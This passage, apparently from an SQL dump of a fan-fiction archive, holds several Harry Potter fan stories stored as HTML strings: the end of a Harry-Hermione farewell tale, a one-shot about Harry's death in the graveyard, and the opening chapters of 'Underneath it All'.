</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron smiled, &quot;Yeah. I remember you shared your pumpkin pastrys with me on the train.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harrys eyes crinkled up at the memory, &quot;We\'ve been best friends from the beginning and we\'ll be best friends until the end. And this? This isn\'t the end. Not by far. Don\'t you worry. I\'ll be back. You can\'t get rid of me that easily.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;I wouldn\'t want to.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;But seriously..Ron...you\'ve been a great mate. And..well..I love you. And no matter what we\'ll always be best friends. You were my first friend and you\'ll be my last friend because we\'ll always be together. We\'ve stuck together through thick and thin. I know I can trust you to take care of Hermione while I\'m away.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron nodded, he didn\'t seem to be able to say anything. His adams-apple bobbed up and down furiously. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;I guess this is goodbye.&quot; Harry said, he could feel his eyes starting to fill even though before he\'d started saying his last messages to his friends he\'d sternly told himself not to cry. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;No.&quot; Rons voice was raspy, &quot;Goodbye means we won\'t see you anymore. I\'m not going anywhere and you bloody well better not. Not goodbye. Just...see you later.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry bit his lip; trust Ron to make him cry, &quot;See you later then.&quot; He said, his voice cracking as he talked, tears starting to roll down his cheeks. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> They looked at each other for a minute, both with tear-tracks down their cheeks, before frantically throwing their arms around each other in a spine-breaking hug. It lasted for a few minutes, neither wanting to let go, but eventually Harry pulled back; hastily wiping his eyes. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;I\'ll get Hermione.&quot; Ron said after a minute and walked over to get her. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> This was going to be the hardest for Harry. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Harry.&quot; Hermione said, and before he could say anything she hugged him. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> He hugged her back, smelling her hair in case it was the last time he\'d ever be able to do so. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> When the separated Harry started talking but found his throat had closed over, &quot;Hermione.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> She picked up his hands and held them in hers in between them. Harry looked down at their interlocked hands and closed his eyes for a few seconds before starting, &quot;I love you.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;I love you too.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;I always have. I don\'t know when I figured it out; I may have always known you\'d be the one for me. We\'re best friends and lovers. Nothing will ever pull us apart. There\'s so much I want to say to you. But I whenever I look at you my mind goes blank. You\'re so beautiful and intelligent and kind. You\'re like an angel. I don\'t know what my life would be like without you. I don\'t want to know! I love you so much that it hurts sometimes. And even though I\'m going away...I want you to remember that I\'ll always be with you. No matter what. Nothing Voldemort can say or do will stop me from returning to you. Never forget much I love you Hermione because my love for you is endless. Never forget me. I\'ll never forget you.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry pulled Hermione into a kiss; it wasn\'t passionate but it conveyed all the feelings that he couldn\'t put into words. He felt slightly warm water trickle onto his cheeks and something told him it wasn\'t his own tear which were also flowing freely. It was a rather...wet...kiss in some ways like the kiss he had with Cho in his fifth year but this kiss? This kiss was completely different to that first kiss of his. This kiss symbolised the complete love they shared. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Harry I hate to break this up but...&quot; An intruding voice broke their kiss. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry turned his head and saw Dumbledore standing a metre or two away. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;I understand.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry turned to Hermione one last time and kissed her on the forehead, &quot;Never forget.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;I could never forget.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry walked to Dumbledores side as Ron, Draco and Ginny joined Hermione. Harry turned to face them and with a deep breath placed his hand on the item in Dumbledores outstretched hand. He felt the familiar feeling of a hook behind his navel and as the group started to disappear from his view he saw Hermione crumple in Rons arms in floods of tears. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> And he was gone. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> ~fin~ </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> AN: Over...it\'s over. Oh I can\'t believe it\'s over. *wails* I found that so hard to write..I know it took ages to get out but you have to understand how hard that chapter was for me!!! </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> I know I left myself wide open for a sequel! </p>\n\n<p>\n\n</p><p> And there probably will be one. After I deal with some major plot bunnies I should\'ve dealt with a long time ago but were put on hiatus for this. If you have a question please EMAIL me or at least leave me your email address because otherwise? I can\'t answer you question! PLEASE review! It\'s over...can\'t believe it...well...yes...finally I know. get me to 1000 reviews! im on 739 atm. not too hard right? ....well...yah..okay. BYE! or should i say see you later!!! </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<address>\n\n\n\n\n\n\n</address> --&gt; '),
	(206, 1, 'A Bid Goodbye<br><br><br>Summary- Hermione made it through the portkey, \ntransporting herself to the graveyard where Voldemort had Harry. She knows \n<br>what\'s going to happen, and as much as she doesn\'t want it, she has to say \nthe hardest thing she may ever have to say.<br>Goodbye.<br><br><br>Authors Note- \nThis is just a one chapter thing thanks to Tommy (the plot bunny in my \nhead)<br><br><br><br><br><br><br><br><br>She praised his noblity. While she did \nnot know what went on in that maze, when the two remaining<br>champions both \ntook the Triwizard Cup, it had to be Harry\'s idea.<br><br><br><br>In a flash \nmuch brighter than the aura arouns the cup burst throughout the Quidditch \nfield.Everyone <br>shielded their eyes only to reveal them a moment later when \nit disappeared, as did the champions. Harry and Cedric \nhad<br>vanished.<br><br><br>Within the same moment, the crowd of spectators \ngasped, pointed, and screamed. Professor Dumbledore and <br>Moody ran out across \nthe field. Though she could not hear their words above the commotion around her, \nHermione knew that the <br>cup was rigged as a portkey.<br><br><br>Harry was \ngone. It wasn\'t like the old boot that got them from the Burrow to the Quidditch \nWorld Cup back <br>in September. Obviously, no one knew that was going to \nhappen, no one knew that by touching the cup would vanish someone.<br>Hermione \nwaited no moare than a minute, in case they had found a way back. But no one had \nreappeared. No Cedric, no Harry.<br><br><br>Hermione dug through every pockey on \nher robes in a desperate search. She felt the metal chain slide<br>between her \nfingers and she yanked it out. Her time turner. The same handy device had helped \nher get to all her classes<br>the previous year was now going to help her help \nHarry. She turned the tiny hour glass upside down and the world around<br>her \nmoved so fast, she could hardly feel it.<br><br><br>Not five minutes earlier, \nthere was no panic around her. The tournament was still int tact, the cup \nwas<br>still there, no champion had claimed it yet. Ginny Weasley, who was \nsitting next to her in the stand, said that she could<br>see movement at the end \nof the maze where the treasured prize was. The one thing she was warned about \nwith the time<br>turner was not to cause conflicts in the past as it would \ngreatly effect the present.<br><br><br>Still, Hermione forced those words out of \nher mind, practically thorwing herself in the crowd, ignoring <br>every obstacle \nbetween her and the field. At the rim, Hagrid tried to stop her, but she had \nalready lodged over the barrier<br>onto the ground below. Hermione winced in \npain, her weight from the fall landed on her right ankel.<br><br><br>She \nsquinted in the direction Harry and Cedric emerged from once before. There they \nwere, approching the<br>end for the cup. Cedric was supporing Harry who was \nlimping on one leg, he must have been injured as well. Hermione<br>pressed her \nhands against the soft grass, standing and prepared to run, so fast, her feet \nfelt as though they were <br>mid air. After one leap, Hermione\'s injured ankel \ngave in and she fell again. Professor McGonagall was approching her<br>from \nbehind, the champions heading closer to the cup.<br><br><br>Hermione thorugh \nrush and pain, dragging her ankel towards the boys. McGonagall reached out to \ngrab her<br>cloak, but missed when Hermione fell forward. Her hand caught her \nbody on the handle of the Triwizars Cup. The oppisite<br>handle that Cedric and \nHarry had at the same \ntime.<br><br><br><br><br>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br><br><br><br><br><br><br>The \nmoment she felt the solid ground beneath her, Hermione flipped her time turner \nagain, placing her<br>back in the present. Which, she would soon find out, was a \nbad idea.<br><br><br>A dark graveyard, the tension made the atmosphere ice cold. \nThere were no Death Eaters, or Lord Voldemort<br>anymore, but Hermione never \nknew they were there in the first place. Cedric was laying face down next to \nher, not<br>breathing. She placed a finger on his neck, no pulse. Cedric was \ndead. But where was Harry?<br><br><br>&quot; Harry?&quot; she called, standing and able to \nsupport herself this time. &quot; Harry, where are you?&quot;.<br><br><br>The smallest \nsound, possibly only a twig snapping, drew her attention ahead of her. Bound to \na gravestone<br>by thick ropes, she found him, laying in the dirt, hardly \nconcious. She bolted in that direction, dropping to her knees<br>at his side. \nThe time turner shattered against the stone that read Tom Riddle.<br><br><br>The \nmere sight of Harry made everything feel like a nightmare. He wasn\'t moving, but \nhe was alive, for<br>the most part. his face was cut and bleeding, as was his \nneck and hands. The cloak and shirt he wore were torn<br>and \nshredded.<br><br><br>She placed a hand down his cheek, he turned his head. His \neyes were more deep in color than she had ever<br>seen. He was so cold, \nstruggling just to breathe.<br><br><br>&quot; It was......&quot; he spoke very \nlittle.<br><br><br>Hermione silenced him, &quot; ssssshhhh, save your \nstrength&quot;.<br><br><br>&quot; There\'s no point&quot; the words were caught in his \nthroat.<br><br><br>She lightly gripped her hand around Harry\'s wrist, feeling \nhow stiff he was. &quot; No, it\'s okay, it\'s <br>alright. Harry, the cup was a \nportkey, we\'ll go back to Hogwarts and Madame Promfey will take care of you, and \nshe\'ll<br>take care of you, she always does, you\'ll be fine&quot;. Her words were as \nrapid as her fingers working at his bindings, <br>&quot; it\'s going to be \nalright&quot;.<br><br><br>Somewhere between her crying, his extreme suffering, and \nthe numb fingers slipping on the thick ropes,<br>Hermione knew this wasn\'t going \nto end in the way she so hoped it would. Harry already knew what was going to \nhappen.<br><br><br>&quot; Even if I did make it through the night, it would be a \npainful amount of days, my last&quot; it<br>hurt to speak, but he had to tell her, &quot; \nit\'s better to just die now&quot;.<br><br><br>Hermione remained concentrated on the \nropes, she didn\'t want to listen to him. &quot; You won\'t die, come<br>on Harry, \nyou\'ve been through worse&quot;.<br><br><br>&quot; If so, this one\'s done it&quot; his eyelids \nslowly closed.<br><br><br>&quot; No!&quot; she snapped, releasing the last \nknot.<br><br><br>His arms fell to the dirt, limp and almost lifeless. Hermione \npulled his upper body into her lap. Stroking<br>his hair over his stained skin, \nHarry lifted his eyelids.<br><br><br>&quot; See, just hang in there, I can get you \nback to the portkey&quot; there was so much hope in her voice,<br>hope that was no \nuse.<br><br><br>&quot; Don\'t, I won\'t go back. I don\'t want to spend my last second \nalive being swarmed by people, <br>you\'ll do just fine&quot;. Tear drops from her \neyes landed on his cheek. &quot; Good-bye Hermione&quot;.<br><br><br>Her breaths were \ncoarse. &quot; G-goodbye Harry&quot; the very words ripped her soul apart.<br><br><br>In \nher arms, Hermione could feel the second he stopped breathing. The second his \nheart stopped beating.<br>The second his eyes closed and he was no longer \nthere.<br><br><br>Gently sliding her body onto the ground, she stood. Pain in \nher injured ankel could not compare to that in<br>her heart. The similar \nsensation that made her want to lay down right there and die wtih him. But she \ncouldn\'t even bare<br>to turn around and look at him again.<br><br><br>Hermione \nebnt down to grab hold of the cup\'s handle. She had to return to HOgwarts and \ntell that Harry<br>Potter was \ndead.<br><br><br><br><br><br><br><br><br><br><br><br><br>Authors Note- Like I \nsaid, it\'s just a little fling.\n'),
	(207, 1, '\n   <br>\n<br>\n<br>\n<br>\nAN: Hi there, I got the  idea for this fic from listening to Stole by Kelly\nRowland. Guess you can  call it inspiration ;) Hehe, hope you like it since\nit\'s my first try at writing HP fics. It\'s kinda scary since there are SO\nmany out there -___- Well hope you enjoy it!<br>\n   <br>\n   Note: This fic doesn\'t follow the original storyline of Harry Potter.<br>\n   <br>\n   Disclaimer: I don\'t own any of the original characters in Harry Potter,\n J. K. Rowling does. The plot and any extra characters belong to me :)<br>\n   <br>\n   <br>\n<br>\n<br>\n<br>\n<br>\n<br>\n\n<center> Underneath it All<br>\n    Chapter One: Realizing</center>\n<br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   Seventeen year old Harry Potter stepped foot onto the scarlet Hogwarts \nExpress  that was currently bellowing out steam. He shifted his glasses so \nthat they  weren\'t at the very tip of his sweaty nose. <br>\n   <br>\n   The young man hurried down the isle, in hopes of finding an empty compartment \n to himself. He was gradually loosing hope when he was nearing the back of \n the train and he still hadn\'t seen any compartments unoccupied. Yet just\n as he was about to think of some way to ask somebody to let him sit with\nthem, his brilliant green eyes darted to the left and to his joy- an empty\ncompartment.<br>\n   <br>\n   Harry lunged his bags into the compartment and stepped in holding Hedwig\'s \n cage, her glossy white feathers shining. The effort of tossing the bags in\n caused sweat to erupt on his forehead. Hence, he was sometimes called \'scrawny\'\n for his age, with his skinny lanky figure and pale skin. But it wasn\'t entirely\n his false. Blame his aunt and uncle for starving him constantly.<br>\n   <br>\n   The train lurched forward, and Harry let out a breath that he hadn\'t noticed \n he had been holding all along. Another year at Hogwarts School of Witch Craft\nand Wizardy. Another...yet the last, his final seventh year. Great. It didn\'t\nreally matter to him. He was glad it was all going to be over soon. The tauntings,\nthe glares, sneers...failures...etc. Although there sometimes were a few\nbright things in his life at Hogwarts, just...there seemed to be more bad\nthan good. But after the year was over, what would he do with the rest of\nhis life? Rot in the Dursleys house? Or simply starve until he was nothing\nbut bone?<br>\n   <br>\n   Harry frowned as he stared out at the green hills that rolled by from\nhis  view. He never understood his life, never knew the purpose of his existence\n   to be exact. He simply...was\n just there. Rarely noticed anywhere, and he simply didn\'t fit in either.\nHarry was use to it now though. He spent his breaks and lunches pondering\non hopeless dreams..and espeically his parents. Uncle Vernon simply stated\nthat his parents died in a horrid car accident. For weird reasons, Harry\ncouldn\'t believe it. He didn\'t know why. He was a wizard, wouldn\'t that make\nhis parents wizards?<br>\n   <br>\n   His brow furrowed in frustration. And if his parents were wizards, they\n couldn\'t just die because of some car accident. It seemed such a muggle-like\n death.<br>\n   <br>\n   &quot;Excuse me?&quot;<br>\n   <br>\n   Harry\'s head snapped up from the sudden soft voice that interupted him \nfrom  his usual train of thoughts. He looked over to the door of his compartment \n in which he had carelessly left open. &quot;Huh?&quot;<br>\n   <br>\n   A girl was standing there, and she was quite tall (yet Harry felt that \nhe  would still be taller than her if he stood) with a pretty nice figure. \nShe  had all the curves in the right places, and her hair was rather a bushy \nmass  of brown curls sitting on top of her perfectly shaped face.<br>\n   <br>\n   &quot;Sorry if I startled you,&quot; She blinked, causing Harry to blink along.\n&quot;But  all the compartments seem to be filled...&quot; She bit her pink lips and\ntilted  her head. &quot;So I was wondering if we could join you?&quot;<br>\n   <br>\n   &quot;...W..we?&quot; Harry cleared his throat. &quot;We?&quot;<br>\n   <br>\n   The girl simply nodded and stepped in, revealing two more girls behind \nher.  They seemed to screw up their noses when their eyes landed upon Harry, \nand  he couldn\'t help but think that he heard something like &quot;Oh it\'s him, \nthat..what\'s  his name?&quot;<br>\n   <br>\n   Harry shrugged and waved a hand lazily at the empty plush seats across \nfrom  where he was sitting. <br>\n   <br>\n   The girl with the bush like hair sighed in relief as she plopped her bags \ndown  next to her. Her friends, supposedly, relunctantly followed and plopped \nthemselves  next to the girl.<br>\n   <br>\n   &quot;Do we <i>have</i> to sit here Herms?&quot; One girl with strawberry blonde \nhair  pulled into a high pony tail complained.<br>\n   <br>\n   The girl being addressed frowned slightly, &quot;Yes, you saw how filled the\n compartments were. And don\'t call me Herms! How long have I pestered you\nabout that nickname?&quot;<br>\n   <br>\n   &quot;Oh for a long time my dear old friend,&quot; The blonde laughed.<br>\n   <br>\n   Harry rolled his eyes. Girls.<br>\n   <br>\n   He focused his attention away from the three, and back to his endless\nthoughts.  So he was normal, pretty normal, and plain. He wasn\'t a nerd,\njust a loner  he supposed. But Harry didn\'t think he was <i>that</i> boring\nwas he? He had some  mysterious past and he really wanted to figure it out...maybe\nthen someone  would notice him as Harry. He even had some funky shaped scar\non his forehead  which he noticed was in the shape of a thunderbolt. But\nnaturally, he was  the only one that noticed.<br>\n   <br>\n   &quot;Oh four chocolate frogs, thank you mam.&quot;<br>\n   <br>\n   &quot;Oh! And a cauldron cake too. Thank you.&quot;<br>\n   <br>\n   Harry wrinkled his nose as the scent of the goodies wafted to his nose.\n Maybe he should buy..<br>\n   <br>\n   &quot;Here!&quot;<br>\n   <br>\n   He jumped slightly at the sudden sight of a chocolate frog in his face \nas  his eyes jumped to the person handing it to him. It was that same girl \nwith  the bushy hair. &quot;Uh...what?&quot;<br>\n   <br>\n   &quot;Take it silly,&quot; The girl laughed and rolled her eyes. &quot;For letting us \nsit  here with you.&quot;<br>\n   <br>\n   Harry felt the package land in his lap while he stared at it dumbly. Someone \n had given him something. That was a first!<br>\n   <br>\n   He held it stiffly in his right hand as he looked up at that girl chatting \n happily with the girl next to her. He noticed the blonde had fallen asleep \n with her head against the door.<br>\n   <br>\n   Harry once again looked at the chocolate frog still wrapped, grasped in\n his hand. Somehow he couldn\'t bring himself to unwrap it and eat it. He\nsighed  and stuffed it into the pocket of his jeans.<br>\n   <br>\n   &quot;So you already have you\'re schedule? Oh let me see!&quot;<br>\n <br>\n &quot;Potions first thing?!&quot;<br>\n <br>\n   &quot;No really?&quot;<br>\n   <br>\n   &quot;We do! That\'s just it! I\'m skipping it!&quot;<br>\n   <br>\n   &quot;No you\'re not! You can\'t skip a class Rina.&quot;<br>\n   <br>\n   &quot;Well I\'m not the one who completely ran from Divination one year...&quot;<br>\n   <br>\n   &quot;Oh sod off!! You were on my side when I claimed that Trelawney was an\nold fraud.&quot;<br>\n   <br>\n   Harry shifted around in his seat, still deep in thought. Other than his\n parents...he had all this money from them just simply left in a vault in \nGringotts for him to take. Loads of Galleons that gleamed in the sunlight \nwere stacked in his vault, and he guess that was one of the good things in \nhis life. At least he wasn\'t living off of dry bread and water.<br>\n   <br>\n His mind was feeling bland, and the sky seemed to be getting dimmer, and \nso were Harry\'s eyelids. They were  getting heavier and heavier until they \ncollasped completely, and he dozed  into a restless sleep of nightmares.<br>\n   <br>\n   <br>\n\n<center>   ~*~</center>\n<br>\n   <br>\n   <br>\n   <i>A flash of green light...screaming...<br>\n   <br>\n   &quot;No, take me, don\'t take Harry! Not Harry, not Harry!&quot;<br>\n   <br>\n   A merciless laugh filled the air, the surroundings...everything...<br>\n   <br>\n   <br>\n   <br>\n   </i>&quot;Hey wake up.&quot; said a soft voice that seem to be getting louder by\nthe second.<br>\n   <br>\n   &quot;Don\'t bother, he\'s fast asleep,&quot; Rina muttered as she smoothed out her\n black Hogwarts robes.<br>\n   <br>\n   The blonde nodded, &quot;He\'ll eventually wake when the train comes to a stop, \n Hermione.&quot;<br>\n   <br>\n   Hermione seemed unconvinced as she raised an eyebrow at her friends. &quot;You \n guys don\'t seem the least bit grateful that he didn\'t kick us out of the \ncompartment he occupied first.&quot;<br>\n   <br>\n   &quot;Whoa, hold your horses girl! When did you go all...nice!&quot;<br>\n   <br>\n   &quot;Nice?&quot;<br>\n   <br>\n   &quot;I mean, on his side! I mean, isn\'t he the school loner I think?&quot;<br>\n   <br>\n   Hermione shrugged, &quot;Loner or not, we still have to wake him right?&quot;<br>\n   <br>\n   &quot;I suppose.&quot;<br>\n   <br>\n   &quot;Hey, we\'re arriving! WAKE UP!&quot;<br>\n   <br>\n   His eyes snapped open and noticed that a blurry shape was standing over\n him. He felt the weight of his glasses on his lap which must\'ve slipped\noff during his sleep. He quickly reached down at them and placed them back\nin place.<br>\n   <br>\n   &quot;Oh, are we here?&quot;<br>\n   <br>\n   &quot;Yes,&quot; Hermione stepped back to fix her robes.<br>\n   <br>\n   Harry caught a gleam of something on the girl\'s robes and noticed it was \n a badge with the words \'Head Girl\' glittering brightly.<i> Oh, so she\'s head\n girl...come to think of it, I think I remember her from somewhere.</i><br>\n   <br>\n   He shrugged the thought out of his still sleepy mind as he got up and\nreached  into his bag to find his school robes. Harry finally found it and\npulled it out, quickly changing into it with his red sweater and jeans still\non.<br>\n   <br>\n   &quot;Oh right you\'re Harry!&quot; The blonde pointed out. <br>\n   <br>\n   &quot;Harry?&quot; Rina said with an odd glance at her friend.<br>\n   <br>\n Polly simply shrugged in reply, &quot;He just seemed awfully familiar from the\nvery beginning to me. And its finally struck me! He\'s Harry, that silent\none who always just sits there.&quot;<br>\n <br>\n Hermione seemed rather surprised. &quot;I think I might\'ve seen you being picked\non in Potions.&quot;<br>\n   <br>\n   &quot;See how forgetful you two are? Can\'t even remember a silly guy in our\nown house.&quot;<br>\n   <br>\n   &quot;I wasn\'t thinking, Polly,&quot; Hermione snapped in annoyance as she pulled\nthe compartment  door open.<br>\n   <br>\n   Harry frowned inwardly. <i>Right, of course you all forgot about me.<br>\n   <br>\n   </i>&quot;Yes! I\'m so glad we\'re here! I can\'t wait until the feast begins,&quot;\n Polly went right after Hermione who already stepped out and into the busy \nhallway.<br>\n   <br>\n   Rina followed shortly and Harry tagged behind, Hedwig tapping at the golden \n bars of her cage impatiently.<br>\n   <br>\n   &quot;We\'re almost there Hedwig, and then you can have a good night\'s sleep \ninstead  of being cramped up in that cage...&quot; Harry spoke softly to his companion; \nhis  only companion.<br>\n <br>\n Harry unmistakenly recognized the loud booming voice of Hagrid, the gamekeeper \nand teacher for Care of Magical Creatures. He remembered his first year as \nif he never existed. It was probably about the same as any other year in which\nhe went through unoticed by all.<br>\n <br>\n &quot;Oi!! Hermione!!&quot; A hand was sticking out from the swarming cloud of people \nall trying to push their way through and out of the train.<br>\n <br>\n Harry saw the girl that had offered him the frog turn around and look about. \n&quot;What? Is that you Ron??&quot;<br>\n <br>\n &quot;Yes! I\'m right...here...&quot; There was a bit of struggling before a red head \npopped into view and at once Hermione\'s face brightened at the mere sight \nof him.<br>\n <br>\n &quot;Ron!&quot; Hermione gave the boy a bear hug which made him turn as red as his \nhair. &quot;How was your summer?&quot;<br>\n <br>\n &quot;I thought I told you about it in my letters?&quot; Ron look rather distressed. \n&quot;Or did Pig loose them all? I wouldn\'t be surprised...&quot;<br>\n <br>\n She shoke her head, &quot;Of course not. I got them but it doesn\'t hurt to ask\nagain right?&quot;<br>\n <br>\n &quot;When did the little book worm become so...curious?&quot; <br>\n <br>\n &quot;Hey!&quot;<br>\n <br>\n &quot;I\'m just teasing you!&quot;<br>\n <br>\n Harry watched the two disappear from his view as they stepped off, him following \nshortly. There was a bit of fog hanging around, and alot of fog hanging above \nthe lake in which the first years were already heading towards. He climbed \nonto a carriage and was soon joined by Neville Longbottom. A round and forgetful \nboy, also in Gryffindor and another student Snape loved to torment.<br>\n<br>\n&quot;Hey Harry,&quot; Neville said in rather a bored tone. &quot;I think I\'m having a headache\nyou know? Trying to remember so many things at once!&quot;<br>\n<br>\nHarry stared, &quot;But there\'s nothing to remember...I mean, classes haven\'t\nstarted yet!&quot;<br>\n<br>\n&quot;I know, but I can\'t seem to find my schedule...&quot;<br>\n<br>\n&quot;That\'s because we haven\'t recieved them from Professor McGonagall yet,&quot;\nHarry said, rather surprised Neville could be so mindless at times. &quot;Exceptional\nto the Head Girl and Boy and Prefects though.&quot;<br>\n<br>\nNeville blinked his round confused eyes at him. &quot;Oh! Well that\'s good, one\nthing to not worry about anymore!&quot;<br>\n<br>\nHarry shook his head and glanced out of the window, the shadow of the grand\ncastle looming ahead casted upon the many carriages coming up to it.<br>\n<br>\nThey came to a lurching stop, and Harry took no time at all to get off of\nit before he could hear another word of Neville\'s so called \'worries\'.<br>\n<br>\nHe heard a melodic laugh ring about the chilly night air, and to his surprise\nthe Head Girl was standing just a couple feet away from him with the red\nhead and the two girls from the Hogwarts Express. Harry blinked, not really\nnoticing that he was listening in on their conversation.<br>\n<br>\n&quot;Hermione, you\'re working yourself to hard.&quot;<br>\n<br>\n<i>Hermione...</i>Harry felt the name ring in his ears and slip out again\nas if it were never there. He sighed, not feeling how much his insides ached\nto be able to join them. <i>Hermione... <br>\n<br>\n</i>Harry Potter stuck his cold hands into the pocket of his jeans as he\nfollowed the rest through the masive doors of Hogwarts. Before he was engulfed\nin light and warmth coming from the Great Hall, his last thoughts dwelded.<br>\n<br>\n<i>She seems like...a nice girl...</i><br>\n<br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n     \n\n\n'),
	(207, 2, '\n    \n<center>\n\n<br>\n\nDisclaimer: I don\'t own\nany of the original characters in Harry Potter, J. K. Rowling does. The plot\nand any extra characters belong to me :)<br>\n<br>\n<br>\n<br>\n<br>\n<br>\n<br>\n<br>\n<br>\n\n<center>Underneath it All<br>\n     Chapter Two: \nThe Awakened Demon</center>\n\n</center>\n<br>\n    <br>\n    <br>\n    <br>\n    <br>\n    <br>\n<br>\n<br>\nHe wasn\'t really paying attention as the Sorting Hat was placed upon the\n  heads of the frightened first years. Harry was actually finding interest\n in his empty golden plate. His stomach let out a gurgle, which caused him\n to turn slightly pink in embarrassment as a few people sitting by heard.<br>\n    <br>\n    &quot;Tracy Hemmings.&quot; Professor McGonagall read off the list of names in\nthe   same stiff voice.<br>\n    <br>\n    A girl with curly golden locks tied back in pig tails hopped up and  \nthe hat was placed upon her golden head. Not even a minute after, the old\n  tattered hat boomed out, &quot;RAVENCLAW!&quot;<br>\n    <br>\n    And then the list went on, and Harry went on with staring at his goblet \n now. As if on cue, Dumbledore stood up as the last of the first years took \n their seat at their house table. His long wispy beard seemed to gleam, and \n so did his eyes as he scanned the four long tables with a smile. &quot;Ah yes, \n welcome back to another exciting year at Hogwarts School of Witch Craft\nand Wizardy. Please take note that the Forbidden Forest is still off limits\nto all students. We would also like to welcome our new Defense Against the\nDark Arts teacher! Professor Dawkes.&quot;<br>\n    <br>\n    A thin woman stood up and eyed the students warily. At once everyone\nseemed   to dislike her gaze, hence the applause was rather forced.<br>\n    <br>\n    &quot;And I guess, I have nothing more to say, but to enjoy your feast.&quot; Dumbledore\n  waved his hand and the plates filled immediately.<br>\n    <br>\n    Harry\'s mood brightened at the sight of mashed potatoes and roast beef, \n which were much more luxurious than what the Dursleys threw at him for the \n past two months. His whale sized cousin Dudley was still on an unsuccessful \n diet which meant the whole family had to live on grapefruit and carrot sticks\nalong with him.<br>\n    <br>\n    &quot;Mr. Potter.&quot;<br>\n    <br>\n    Harry lifted his gaze from his plate and saw Professor McGonagall standing\n  over him. &quot;...Yes?&quot;<br>\n    <br>\n    &quot;Your schedule,&quot; She handed him a piece of parchment.<br>\n    <br>\n    &quot;Thanks,&quot; He took it from her, but noticed that Professor McGonagall\nwas   still standing in place. He blinked and looked at her expectantly.\n&quot;...Er..&quot;<br>\n    <br>\n    She stared down at him from the bridge of her noise and Harry almost\nthought   he caught a smile on his strict professor\'s face. &quot;Right, I forgot\nto send   this letter to you because there must\'ve have been piles and piles\nof unanswered   mail on my desk. Supossedly this got lost in the pile, but\nhere it is.&quot;<br>\n    <br>\n    Harry was handed an envelope with the Hogwarts crest on it. He looked\nat  it in wonder as Professor McGonagall turned to leave. &quot;I suggest you\nopen  it now too.&quot; And then she was off.<br>\n    <br>\n    He flipped the envelope over quickly, the wonderful fumes of food forgotten\n  as curiousity clouded his mind. Harry pulled a piece of parchment out of\n it, and along with it, a badge.<br>\n    <br>\n    His green eyes darted across the words hastily, and with every sentence \n his eyes widened in amazement. &quot;I\'m a Prefect!?&quot; <br>\n    <br>\n    Several heads turned towards him and he couldn\'t help but blush as he \nturned  quickly to glance at Professor McGonagall. She seemed to be avoiding \nhis gaze purposely, but that didn\'t put down his spirit.<br>\n    <br>\n    <i>A Prefect! </i>He thought in confusion yet excitement at the same\ntime.   For once something out of the ordinary was happening to him. Being\na Prefect   meant being able to boss people around, which of course wasn\'t\nin Harry\'s   nature. Yet it was fun to think of the privileges he had. <i>\nI wonder how  I got to be one in the first place.. <br>\n   <br>\n   </i>He clumsily pinned on his Prefect badge while returning his attention \n back onto his food. For the remainder of the feast, Harry ate and beamed \ndown at his food in silent pride.<br>\n<br>\n<br>\n\n<center>~*~</center>\n<br>\n   <br>\n   <br>\n   <br>\n   Long after the feast was over, and the students had long been in bed,\nthe  professors of Hogwarts held a meeting in Dumbledore\'s office.<br>\n   <br>\n   &quot;When are we going to tell him?&quot; Professor McGonagall said in a rather \ndistraught  voice.<br>\n   <br>\n   &quot;There is no need to worry Minerva. It will be soon for it is his last \nyear  attending school is it not?&quot; Dumbledore replied calmly.<br>\n   <br>\n   Professor Trelawney\'s lips twitched. &quot;I\'ve been hinting to the boy that\n he is something more than...what he is at the moment.&quot;<br>\n   